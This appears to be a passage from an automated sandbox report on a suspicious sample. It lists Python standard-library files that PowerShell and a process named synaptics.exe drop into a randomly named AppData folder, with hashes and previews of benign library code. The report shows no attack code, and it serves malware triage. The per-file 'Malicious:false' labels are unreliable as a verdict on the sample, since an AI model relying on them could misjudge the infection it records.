              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20560
              Entropy (8bit):4.531273573237088
              Encrypted:false
              SSDEEP:
              MD5:629C132558A9EC0AADDA6B3568285463
              SHA1:2E4614EC3EA4943F55562B1BD10E460EF73CF310
              SHA-256:3DF71EEE06EF515D91204CB4A2AE9C0946C968473C51D2D902C82FB2B62BEA2E
              SHA-512:44E928B67353078A8B486DA58E6ECC91049A1B40B2D5EA0FE3C5018C028BDB4F13B41E25E1B99D8CB0AFA29A66CE348F899773A8805BC76A17C1B599B7879155
              Malicious:false
              Reputation:unknown
              Preview:"""Disassembler of Python byte code into mnemonics."""....import sys..import types..import collections..import io....from opcode import *..from opcode import __all__ as _opcodes_all....__all__ = ["code_info", "dis", "disassemble", "distb", "disco",.. "findlinestarts", "findlabels", "show_code",.. "get_instructions", "Instruction", "Bytecode"] + _opcodes_all..del _opcodes_all...._have_code = (types.MethodType, types.FunctionType, types.CodeType,.. classmethod, staticmethod, type)....FORMAT_VALUE = opmap['FORMAT_VALUE']..FORMAT_VALUE_CONVERTERS = (.. (None, ''),.. (str, 'str'),.. (repr, 'repr'),.. (ascii, 'ascii'),..)..MAKE_FUNCTION = opmap['MAKE_FUNCTION']..MAKE_FUNCTION_FLAGS = ('defaults', 'kwdefaults', 'annotations', 'closure')......def _try_compile(source, name):.. """Attempts to compile the given source, first as an expression and.. then as a statement if the first approach fails..... Utility function to accept strings in

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\doctest.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):107953
              Entropy (8bit):4.560169703474059
              Encrypted:false
              SSDEEP:
              MD5:F568FFB0098065BC1CDFFA226D00C81E
              SHA1:7ACB808E8F5B7B72197A71DE0880C1DFD39F563A
              SHA-256:9DA24E3793F13F188F6150D6DFAF36AC2E20BFD76E70AECFB2136A8FF350D993
              SHA-512:22431867A30D5F33026C764CC6573F8723B72B305FB327B7FDEAB53580ECC999F1D7AC0AC1521111700BB335DBEF708A4363ED744EAF8AA6C5CFF0AF21B62C4C
              Malicious:false
              Reputation:unknown
              Preview:# Module doctest...# Released to the public domain 16-Jan-2001, by Tim Peters (tim@python.org)...# Major enhancements and refactoring by:..# Jim Fulton..# Edward Loper....# Provided as-is; use at your own risk; no warranty; no promises; enjoy!....r"""Module doctest -- a framework for running examples in docstrings.....In simplest use, end each module M to be tested with:....def _test():.. import doctest.. doctest.testmod()....if __name__ == "__main__":.. _test()....Then running the module as a script will cause the examples in the..docstrings to get executed and verified:....python M.py....This won't display anything unless an example fails, in which case the..failing example(s) and the cause(s) of the failure(s) are printed to stdout..(why not stderr? because stderr is a lame hack <0.2 wink>), and the final..line of output is "Test failed.".....Run it with the -v switch instead:....python M.py -v....and a detailed report of all examples tried is printed to stdout, alo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1828
              Entropy (8bit):4.659617027776494
              Encrypted:false
              SSDEEP:
              MD5:4A5BEB56533BF0D8B94EE640F866E491
              SHA1:44497180DE35656486799BC533DE4EAAF3C3EE2C
              SHA-256:AF3DD99D5C82FA7E75A653B813A592A92CF453EBC4226FB330CD47E560395426
              SHA-512:06D65E564E593489F4D49D8EAB35936B829913DB1898B25AEC2532C42BCBE1A1450248F98972119349DC1FD17337AB48F9B4749075195E763ABDFD8F430A4AF2
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2007 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""A package for parsing, handling, and generating email messages."""....__all__ = [.. 'base64mime',.. 'charset',.. 'encoders',.. 'errors',.. 'feedparser',.. 'generator',.. 'header',.. 'iterators',.. 'message',.. 'message_from_file',.. 'message_from_binary_file',.. 'message_from_string',.. 'message_from_bytes',.. 'mime',.. 'parser',.. 'quoprimime',.. 'utils',.. ].........# Some convenience routines. Don't import Parser and Message as side-effects..# of importing email since those cascadingly import most of the rest of the..# email package...def message_from_string(s, *args, **kws):.. """Parse a string into a Message object model..... Optional _class and strict are passed to the Parser constructor... """.. from email.parser import Parser.. return Parser(*args, **kws).parsestr(s)....def message_from_bytes(s,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\__init__.cpython-310.pyc.25168880

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1583
              Entropy (8bit):4.917315942698891
              Encrypted:false
              SSDEEP:
              MD5:D358E98A4DB3A48637930E64B8F9CBDB
              SHA1:7D4027B39B564096A6D914B1407FD49E1DCA488A
              SHA-256:049A8EEDD7176C148469B3B16111F6A254E8A90E0D022336AA05814A7B1FB851
              SHA-512:45DCB74599C729DD052207E1F0F136CA878738CBEB2B0741F477BAC0434C5160FFBDA4F86AC11093B78FA063CEE3FEE572C6A85492977D76DE86B91D7C33ED36
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d$........................@...s0...d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z?A package for parsing, handling, and generating email messages.).Z.base64mime..charsetZ.encoders..errorsZ.feedparser..generator..headerZ.iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytesZ.mimeZ.parserZ.quoprimime..utilsc....................O.... ...d.d.l.m.}...|.|.i.|.......|...S.).zvParse a string into a Message object model... Optional _class and strict are passed to the Parser constructor.. .........Parser)...email.parserr....Z.parsestr)...s..args..kwsr......r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__init__.pyr.... ............r....c....................O...r....).z|Parse a bytes string into a Message object model... Optional _class and strict are passed to the Parser constructor.. r........BytesParser).r....r....Z.parsebytes).r....r....r....r....r....r....r....r....(...r....r....c....................O...r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\_encoded_words.cpython-310.pyc.30107192

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5763
              Entropy (8bit):5.420669231775126
              Encrypted:false
              SSDEEP:
              MD5:4823BAD69F95D3F7379B91C8C2D96E06
              SHA1:B53CF4BCCA4C686193BB9AC8201ABE008F9F31E6
              SHA-256:4D0A0378AD32F9DCBED09F1BD418617E48EF6AB4DA70D124397DD2EBB2B3A340
              SHA-512:EF3D042D17F371CBCB0340F8975CEE282ABB61775DC9367AD67CACF03CEC447F47D54BDB8FF4508D63D6A03B45F32EE3233177EC2BEC612FCF9B47B201E50634
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dF".......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.e...e...d...j.d.d.....Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.e.e.d...<.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.e.d...Z.d.d...Z.e.e.d...Z.e.e.d...Z.d d.d...Z.d.S.)!z. Routines for manipulating RFC2047 encoded words...This is currently a package-private API, but will be considered for promotion.to a public API if there is demand........N)...ascii_letters..digits)...errors)...decode_q..encode_q..decode_b..encode_b..len_q..len_b..decode..encodes....=([a-fA-F0-9]{2})c....................C...s....t...|...d.........S.).N.....)...bytes..fromhex..groupr....)...m..r.....BC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\_encoded_words.py..<lambda>A...s......r....c....................C...s....|...d.d...}.t.|...g.f.S.).N....._..... )...replace.._q_byte_subber)...encodedr....r....r....r....C...s........r....c....................@...s,...e.Z.d.Z.d.e...d.....e...d.....Z.d.d...Z.d.S.)..._Q

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\_parseaddr.cpython-310.pyc.55710512

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):12535
              Entropy (8bit):5.370078070282406
              Encrypted:false
              SSDEEP:
              MD5:94CED1C9CC16B639D29330D559F6F6D5
              SHA1:D731803F3C64D8B6E572216BD17CDF9A738FC1B6
              SHA-256:BAE449E841CC537F72DBEB918F8ADE5C6D54FCD44A174AC6CB0853B397536AF0
              SHA-512:12651330F1920FCB784959DE72A6277D9F6A87982DD67466D8C0EBD9B4146A361786217B71A8F8DA4BE6D3CA33F03224599908342FDCF597554ADAD9391200A3
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.G.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.Z.g.d...Z.g.d...Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).zcEmail address parsing code...Lifted directly from rfc822.py. This should eventually be rewritten..)...mktime_tz..parsedate..parsedate_tz..quote.....N.. ..z., ).Z.janZ.febZ.marZ.apr..mayZ.junZ.julZ.aug..sep..octZ.novZ.decZ.januaryZ.februaryZ.marchZ.aprilr....Z.juneZ.julyZ.augustZ.septemberZ.octoberZ.novemberZ.december).Z.monZ.tueZ.wedZ.thuZ.friZ.satZ.sunip...i....i....i....iD...i....).Z.UTZ.UTC..GMT..ZZ.ASTZ.ADTZ.ESTZ.EDTZ.CSTZ.CDTZ.MSTZ.MDTZ.PSTZ.PDTc....................C...s,...t.|...}.|.s.d.S.|.d...d.u.r.d.|.d.<.t.|...S.).zQConvert a date string to a time tuple... Accounts for military timezones.. N.....r....)..._parsedate_tz..tuple)...data..res..r.....>C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\_parseaddr.pyr....-...s................r....c....................C

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\_policybase.cpython-310.pyc.23948968

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):14805
              Entropy (8bit):5.055359943884169
              Encrypted:false
              SSDEEP:
              MD5:F9052D09F90E99C1C0B62F796CB2E5FC
              SHA1:961670F7D98F9B4D6278C13ECB5C8AB6CE031D4C
              SHA-256:5494F28337CD1D82BF358111BCB0A6A88D9056B2C065E8A10DD5559D5C92A532
              SHA-512:5EFA9FA4127E4AA9051CA5191A521744B4937E63852B01E176F14696AA1986585E69AF2B14F5002C3F0CA8BE110A8A8C9E5E49453E458EDD16D1680298795B58
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dW<.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.G.d.d...d.e.e.j.d...Z.e.G.d.d...d.e.....Z.e...Z.d.S.).zwPolicy framework for the email package...Allows fine grained feature control of how the package parses and emits data.......N)...header)...charset)..._has_surrogates)...Policy..Compat32..compat32c........................s@...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.)..._PolicyBasea....Policy Object basic framework... This class is useless unless subclassed. A subclass should define. class attributes with defaults for any values that are to be. managed by the Policy object. The constructor will then allow. non-default values to be set for these attributes at instance. creation time. The instance will be callable, taking these same. attributes keyword arguments, and returning a new instance. identical to the called instance except for those values changed.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\base64mime.cpython-310.pyc.29631392

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3263
              Entropy (8bit):5.386620827101591
              Encrypted:false
              SSDEEP:
              MD5:B604B81D3B11E0BDBF0A4C1B088B0912
              SHA1:25F19A9237F08192787D885EABE7000548649A7A
              SHA-256:584EFCC0C64E91CCBDA88BFAC0230011F1C8ECFC6ABB2A37CC267B8DA3F1F8A2
              SHA-512:0F20BB61F54D579D7CC989FCDC7F79855225D623E894E25B1E7C2790104EB5BCAFFD0681FEB7492CF71ECAF0328C3132B2F465FE864B989DC2EB2CB6CA18293F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d^........................@...sl...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d.d...Z.d.e.f.d.d...Z.d.d...Z.e.Z.e.Z.d.S.).a....Base64 content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit.characters encoding known as Base64...It is used in the MIME standards for email to attach images, audio, and text.using some 8-bit character sets to messages...This module provides an interface to encode and decode both headers and bodies.with Base64 encoding...RFC 2045 defines a method for including character set information in an.`encoded-word' in a header. This method is commonly used for 8-bit real names.in To:, From:, Cc:, etc. fields, as well as Subject: lines...This module does not do the line wrapping or end-of-line character conversion.necessary for proper internationalized headers; it only does dumb encoding and.dec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\charset.cpython-310.pyc.29631280

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):11598
              Entropy (8bit):5.326361045461072
              Encrypted:false
              SSDEEP:
              MD5:ED07FED40B09DAE7329854910AC371B7
              SHA1:90F804DA301B8C38C5E57EA27669F0986EDD9EBE
              SHA-256:BA9C371BAC97C4059BFA57B5C0AC07BB89793E6D6E978BFAF2A5B653CFC89E83
              SHA-512:C2CEAC4105E7CC17E1B3D0724091E6C6E302452CABD85909692A87A42FAEB1807BE106C1C2EDCFEBA4A03E845C053269819ACDD804E43F1B9587DEC74087B6F6
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d|D.......................@...s....g.d...Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.d...d.e.e.d.f...d.e.e.d.f...d.e.d.d.f...d.e.d.d.f...e.d.d.f.e.e.d.f.e.e.d.f.d ....Z.i.d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d...d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d.d.d.d2d.d3d.d4....Z.d5d6d.d7..Z.d.d8d9..Z.d:d;..Z.d<d=..Z.d>d?..Z.G.d@dA..dA..Z.d.S.)B)...Charset..add_alias..add_charset..add_codec.....)...partialN)...errors)...encode_7or8bit......................us-asciiz.unknown-8bit..z.iso-8859-1z.iso-8859-2z.iso-8859-3z.iso-8859-4z.iso-8859-9z.iso-8859-10z.iso-8859-13z.iso-8859-14z.iso-8859-15z.iso-8859-16z.windows-1252Z.viscii).NNN..big5..gb2312z.euc-jp..iso-2022-jp..shift_jis..utf-8).r....z.koi8-rr......latin_1z.latin-1Z.latin_2z.latin-2Z.latin_3z.latin-3Z.latin_4z.latin-4Z.latin_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\encoders.cpython-310.pyc.29630720

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1650
              Entropy (8bit):5.097808471207936
              Encrypted:false
              SSDEEP:
              MD5:6EA18C8613F557AD4BA5E3B0E68F3D4A
              SHA1:149A5E2C4480253DA34815E0A89FBB6668F852A7
              SHA-256:DE1D131BA615AEA4ECC343B0CEFCE266953DCB84FF0D6FB0CD1528F766F8F0DB
              SHA-512:5326AC5CF1BFD1BD4D50622877241C3DE3C6B5F9C0641E8B473CB04F30E5D8349629A77F46B96EE72FA8F5333871849164CBF91DCEA7C9D06F8AA27C3C4456DE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d?........................@...sP...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z Encodings and related functions.)...encode_7or8bit..encode_base64..encode_noop..encode_quopri.....)...encodebytes)...encodestringc....................C...s....t.|.d.d...}.|...d.d...S.).NT).Z.quotetabs..... s....=20)..._encodestring..replace)...s..enc..r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\encoders.py.._qencode....s........r....c....................C...s0...|.j.d.d...}.t.t.|...d...}.|...|.....d.|.d.<.d.S.).zlEncode the message's payload in Base64... Also, add an appropriate Content-Transfer-Encoding header.. T....decode..ascii..base64..Content-Transfer-EncodingN)...get_payload..str.._bencode..set_payload....msg..origZ.encdatar....r....r....r........s............r....c....................C...s*...|.j.d.d...}.t.|...}.|...|.....d.|.d.<.d.S.).zvEncode the message's payload in quoted-printable... Also, add an appropriate Content-Transfer

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\errors.cpython-310.pyc.29631392

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5725
              Entropy (8bit):4.7405331289820465
              Encrypted:false
              SSDEEP:
              MD5:B14EA9AF833DA08E94667F4BE402FC80
              SHA1:7298D9E84D922131C5AB539BDD8F842CD3EF24EC
              SHA-256:F4636D9DEBDAFF63CC4E85AAE482F08F2651D84631C39F5BAF31FB6BC128FBBA
              SHA-512:06EB6CB0406EC0FB0495A6E59BA42F19E9F3DE80B7E5C14271785B8AD0A5C571903D14A8A1697005F4328099C34829ADBBAD159CEECC328A32C55361DA686A26
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&e...Z.G.d'd(..d(e...Z.G.d)d*..d*e...Z.G.d+d,..d,e...Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.G.d1d2..d2e...Z.G.d3d4..d4e...Z.d5S.)6z email package exception classes.c....................@........e.Z.d.Z.d.Z.d.S.)...MessageErrorz+Base class for errors in the email package.N....__name__..__module__..__qualname__..__doc__..r....r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\errors.pyr.................r....c....................@...r....)...MessageParseErrorz&Base class for message parsing errors.Nr....r....r....r....r....r........r....r....c....................@...r....)...HeaderParseErrorz.Error while parsing headers.Nr....r....r....r....r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\feedparser.cpython-310.pyc.29631168

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):10601
              Entropy (8bit):5.4498851406968685
              Encrypted:false
              SSDEEP:
              MD5:597F94D31EC1467BAD09D7443FEFD2E6
              SHA1:1AA65B65A92D4C4CF594846ECD10AB15E3C934A5
              SHA-256:7F165993566568EB72A65DA38A54973EDE895A26449EFA8A00E13F192956C4BB
              SHA-512:4BAA0F965B8491264BDF29014919110BB53112A8B0941C1E906B088CAC4764D99C8D42D0E570BA3F865650F941C520B29DCC0EBF78A9B90465A8AD49B05154FE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.[.......................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.d.Z.d.Z.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).a....FeedParser - An email feed parser...The feed parser implements an interface for incrementally parsing an email.message, line by line. This has advantages for certain applications, such as.those reading email messages off a socket...FeedParser.feed() is the primary interface for pushing new data into the.parser. It returns when there's nothing more it can do with the available.data. When you have no more data to push into the parser, call .close()..This completes the parsing and returns the root message object...The other advantage of this parser is that it will never raise a parsing.exception. Instead, when it finds something unexpected, it adds a 'defect' to.the current message. Defects are just instances that live on the message.object's .defects a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\header.cpython-310.pyc.29631280

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):16485
              Entropy (8bit):5.358571051919047
              Encrypted:false
              SSDEEP:
              MD5:E68A23A0CAA2D108F9339779D2E59009
              SHA1:E2CBD7918D5518876F7E73B60763278D30A3C6C2
              SHA-256:6160FD42CB8A4EFBE139025B6E6A20F1610A11C6666B00857CD21C39DCE23926
              SHA-512:526CCB87113FE8DF3020EDF6C5EF5108C5FF57A07AE2245109331A302CE8B1AF9800EDBDEE273EEA87F8AF3F08E59D6CD9D96F25B35201EC4C15E597AE9AAACA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dh`.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d...Z.e.d...Z.e...d.e.j.e.j.B...Z.e...d...Z.e...d...Z.e.j.j.Z.d.d...Z.....d.d.d...Z.G.d.d...d...Z.G.d.d...d...Z G.d.d...d.e!..Z"d.S.).z+Header encoding and decoding functionality.)...Header..decode_header..make_header.....N)...HeaderParseError)...charset..... ..... z. ...N...z. ...us-asciiz.utf-8ai.... =\? # literal =?. (?P<charset>[^?]*?) # non-greedy up to the next ? is the charset. \? # literal ?. (?P<encoding>[qQbB]) # either a "q" or a "b", case insensitive. \? # literal ?. (?P<encoded>.*?) # non-greedy up to the next ?= is the encoded string. \?= # literal ?=. z.[\041-\176]+:$z.\n[^ \t]+:c....................C...s....t.|.d...r.d.d...|.j.D...S.t...|...s.|.d.f.g.S.g.}.|.....D.]A}.t...|...}.d.}.|.r^|...d...}.|.r5|.....}.d.}.|.r?|...|.d.d.f.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\iterators.cpython-310.pyc.55712752

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1991
              Entropy (8bit):5.349772264473089
              Encrypted:false
              SSDEEP:
              MD5:B37BC7C37FDCEA9956AD848481C62753
              SHA1:00C779492D67ED3E971AFED4CEA75FD8FFF5D9E2
              SHA-256:1C134A34CB2D6263057EB5B0A92CC15935FBD0B63F0C9069284D6E8F665A7FC7
              SHA-512:85E12A4DC5F28580C2598B5A38E1B2575C203D6E902AA67F66D46B1DD6CCD3484AC41A5B0136BBDF5AA29A98B7B59B55569AAD680D944A867E48DCD97C668AA5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sJ...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).z1Various types of useful iterators and generators.)...body_line_iterator..typed_subpart_iterator..walk.....N)...StringIOc....................c...s4.....|.V...|.....r.|.....D.].}.|.....E.d.H...q.d.S.d.S.).z.Walk over the message tree, yielding each subpart... The walk is performed in depth-first order. This method is a. generator.. N)...is_multipart..get_payloadr....)...self..subpart..r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\iterators.pyr........s..................r....Fc....................c...s8.....|.....D.].}.|.j.|.d...}.t.|.t...r.t.|...E.d.H...q.d.S.).z.Iterate over the parts, returning string payloads line-by-line... Optional decode (default False) is passed through to .get_payload().. )...decodeN).r....r......isinstance..strr....)...msgr....r......payloadr....r....r....r...."...s..................r......textc....................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\message.cpython-310.pyc.29631056

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):37827
              Entropy (8bit):5.296837192572668
              Encrypted:false
              SSDEEP:
              MD5:6D769C95E012C9BB9F96A05DEE28E031
              SHA1:2D7817D965071284BDF0F1EA2F6E63F85DE8831A
              SHA-256:ADB059EB3655FC192B8CDC961A2332C090B59B9A041CA2EA7C4B4A980D699A3A
              SHA-512:611B0C12370A46A29DA04CAFDD2CDFBAD183B9325D95185DA4026C2C23F29DEA87527787057A17A8E3A2C66E9C40ABEF406DCBA11A2C18B4911BB1E399942D23
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-di........................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.e...d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z8Basic message object for the email package object model...Message..EmailMessage.....N)...BytesIO..StringIO)...utils)...errors)...Policy..compat32....charset)...decode_bz.; z.[ \(\)<>@,;:\\"/\[\]\?=]c....................C...s4...t.|.....d...\.}.}.}.|.s.|.....d.f.S.|.....|.....f.S.).N..;)...str..partition..strip)...param..a..sep..b..r.....;C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\message.py.._splitparam....s............r....Tc....................C...s....|.d.u.r^t.|...d.k.r^t.|.t...r&|.d.7.}.t...|.d...|.d...|.d.....}.d.|.|.f...S.z.|...d.....W.n...t.yG......|.d.7.}.t...|.d.d...}.d.|.|.f.....Y.S.w.|.sOt...|...rXd.|.t...|...f...S.d.|.|.f...S.|.S.).a~...Convenience function to format and return a key=value pair... T

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\parser.cpython-310.pyc.29631056

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5696
              Entropy (8bit):4.9267092884897385
              Encrypted:false
              SSDEEP:
              MD5:2DFB071752C4E1BB4C294D6F5C15B097
              SHA1:F4CE27F0400D7ED2F66A3FD5E46C92E233AD464B
              SHA-256:0ED14FE51F7F38DE22C66AC03588F195968CBFB7354908A1FDF49565DFF729AC
              SHA-512:998226E366E85D2E6775DD774CE59AE39537401CD745C617E20D856E8B1090EBE9812021FE7EDD165BE61CE1D7A9C7A6A18BFB44EBCB446349741EA9CEB490AA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d4........................@...sx...d.Z.g.d...Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).z-A parser of RFC 2822 and MIME email messages.)...Parser..HeaderParser..BytesParser..BytesHeaderParser..FeedParser..BytesFeedParser.....)...StringIO..TextIOWrapper).r....r....)...compat32c....................@...s0...e.Z.d.Z.d.e.d...d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....N....policyc....................C...s....|.|._.|.|._.d.S.).a....Parser of RFC 2822 and MIME email messages... Creates an in-memory object tree representing the email message, which. can then be manipulated and turned over to a Generator to return the. textual representation of the message... The string must be formatted as a block of RFC 2822 headers and header. continuation lines, optionally preceded by a `Unix-from' header. The. header block is terminated either by the end of the string or by a. blank

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\quoprimime.cpython-310.pyc.29630720

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):7646
              Entropy (8bit):5.507098809247299
              Encrypted:false
              SSDEEP:
              MD5:579F81B64FA1E42166D6D434782DC9EE
              SHA1:1C005B115D8445B7188B0931918A1C7CDA74F4E8
              SHA-256:B3CDA20007DA1A38EE07B0472ADE5279031BB4407473500B9BADA93A1AEC7997
              SHA-512:3C1185FAFFF6F6AD7622CA95C0BE01441BDD9BB1C71505AF97CD9AF52758C9A6EAD5D1C6991B455F70A142E9CECB4A9060D77DD1DD362307C5B0A46BC3A667EE
              Malicious:false
              Reputation:unknown
